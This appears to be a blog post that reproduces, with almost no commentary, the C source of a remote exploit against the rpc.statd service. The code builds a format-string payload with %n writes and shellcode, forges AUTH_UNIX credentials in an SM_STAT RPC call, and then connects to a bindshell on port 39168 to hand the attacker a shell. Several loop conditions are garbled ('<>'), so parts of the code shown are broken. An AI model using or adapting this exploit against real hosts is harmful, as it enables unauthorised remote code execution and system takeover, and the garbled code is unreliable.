Add to Technorati Favorites

void

connection(struct sockaddr_in host)

{

int sockd;

host.sin_port = htons(39168);

if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) <>

{

perror("socket()");

exit(EXIT_FAILURE);

}

if(!connect(sockd, (struct sockaddr *) &host, sizeof host))

{

printf("OMG! You now have rpc.statd technique!@#$!\n");

runshell(sockd);

}

close(sockd);

}

char *

wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)

{

int i, j, cnt, pad;

char pbyte, *buff, *ptr;

u_long retpos;

u_long dstpos;

while(bufpos % 4) bufpos--;

/* buflen + ebp */

retpos = bufpos + buflen + 4;

/*

** 0x00 == '\0'

** 0x25 == '%'

** (add troublesome bytes)

** Alignment requirements aid comparisons

*/

pbyte = retpos & 0xff;

/* Yes, it's 0x24 */

if(pbyte == 0x00 || pbyte == 0x24)

{

fprintf(stderr, "Target address space contains a poison char\n");

exit(EXIT_FAILURE);

}

/*

** Unless the user gives us a psychotic value,

** the address should now be clean.

*/

/* str */

cnt = 24;

/* 1 = process nul */

buflen -= cnt + 1;

if(!(buff = malloc(buflen + 1)))

{

perror("malloc()");

exit(EXIT_FAILURE);

}

ptr = buff;

memset(ptr, NOP, buflen);

for(i = 0; i <>

{

/* junk dword */

for(j = 0; j <>

*ptr++ = retpos >> j * 8 & 0xff;

/* r + i */

memcpy(ptr, ptr - 4, 4);

ptr += 4; cnt += 8;

}

/* restore */

retpos -= 4;

for(i = 0; i <>

{

/* consistent calculations */

strncpy(ptr, "%8x", 3);

ptr += 3; cnt += 8;

}

dstpos = bufpos + offset;

/*

** This small algorithm of mine can be used

** to obtain "difficult" values..

*/

for(i = 0; i <>

{

pad = dstpos >> i * 8 & 0xff;

if(pad == (cnt & 0xff))

{

sprintf(ptr, "%%n%%n");

ptr += 4; continue;

}

else

{

int tmp;

/* 0xffffffff = display count of 8 */

while(pad <>

pad -= cnt, cnt += pad;

/* the source of this evil */

tmp = sprintf(ptr, "%%%dx%%n", pad);

ptr += tmp;

}

}

*ptr = NOP;

/* plug in the shellcode */

memcpy(buff + buflen - strlen(sc), sc, strlen(sc));

buff[buflen] = '\0';

printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));

printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);

printf("wiping %d dwords\n", wipe);

return buff;

}

struct in_addr

getip(char *host)

{

struct hostent *hs;

if((hs = gethostbyname(host)) == NULL)

{

herror("gethostbyname()");

exit(EXIT_FAILURE);

}

return *((struct in_addr *) hs->h_addr);

}

int

main(int argc, char **argv)

{

int ch;

char *buff;

CLIENT *clnt;

enum clnt_stat res;

struct timeval tv, tvr;

struct sm_name smname;

struct sm_stat_res smres;

struct sockaddr_in addr;

int type = -1;

int usetcp = 0;

int timeout = 5;

int wipe = 9;

int offset = 600;

int buflen = 1024;

char *target;

char *sc = shellcode;

u_short port = 0;

u_long bufpos = 0;

int sockp = RPC_ANYSOCK;

extern char *optarg;

extern int optind;

extern int opterr;

opterr = 0;

while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)

{

switch(ch)

{

case 't': usetcp = 1; break;

case 'p': sscanf(optarg, "%hu", &port); break;

case 'a': sscanf(optarg, "%lx", &bufpos); break;

case 'l': buflen = atoi(optarg); break;

case 'o': offset = atoi(optarg); break;

case 's': timeout = atoi(optarg); break;

case 'w': wipe = atoi(optarg); break;

case 'd': type = atoi(optarg); break;

default : usage(argv[0]);

}

}

if(!(target = argv[optind]))

{

fprintf(stderr, "No target host specified\n");

exit(EXIT_FAILURE);

}

if(type >= 0)

{

if(type >= sizeof types / sizeof types[0] - 1)

{

fprintf(stderr, "Invalid type\n");

exit(EXIT_FAILURE);

}

sc = types[type].code;

bufpos = types[type].bufpos;

buflen = types[type].buflen;

offset = types[type].offset;

wipe = types[type].wipe;

}

if(!bufpos)

{

fprintf(stderr, "No buffer address specified\n");

exit(EXIT_FAILURE);

}

bzero(&addr, sizeof addr);

addr.sin_family = AF_INET;

addr.sin_port = htons(port);

addr.sin_addr = getip(target);

tv.tv_sec = timeout;

tv.tv_usec = 0;

if(!usetcp)

{

clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);

if(clnt == NULL)

{

clnt_pcreateerror("clntudp_create()");

exit(EXIT_FAILURE);

}

tvr.tv_sec = 2;

tvr.tv_usec = 0;

clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);

}

else

{

clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);

if(clnt == NULL)

{

clnt_pcreateerror("clnttcp_create()");

exit(EXIT_FAILURE);

}

}

/* AUTH_UNIX / AUTH_SYS authentication forgery */

clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

buff = wizardry(sc, bufpos, buflen, offset, wipe);

smname.mon_name = buff;

res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,

(caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,

(caddr_t) &smres, tv);

if(res != RPC_SUCCESS)

{

clnt_perror(clnt, "clnt_call()");

printf("A timeout was expected. Attempting connection to shell..");

sleep(5); connection(addr);

printf("Failed\n");

}

else

{

printf("Failed - statd returned res_stat: (%s) state: %d\n",

smres.res_stat ? "failure" : "success", smres.state);

}

free(buff);

clnt_destroy(clnt);

return -1;

}





ends here

Add to My AOL Add to Google Reader or Homepage Add to netomat Hub I heart FeedBurner Subscribe in NewsGator Online Subscribe in a reader

0 comments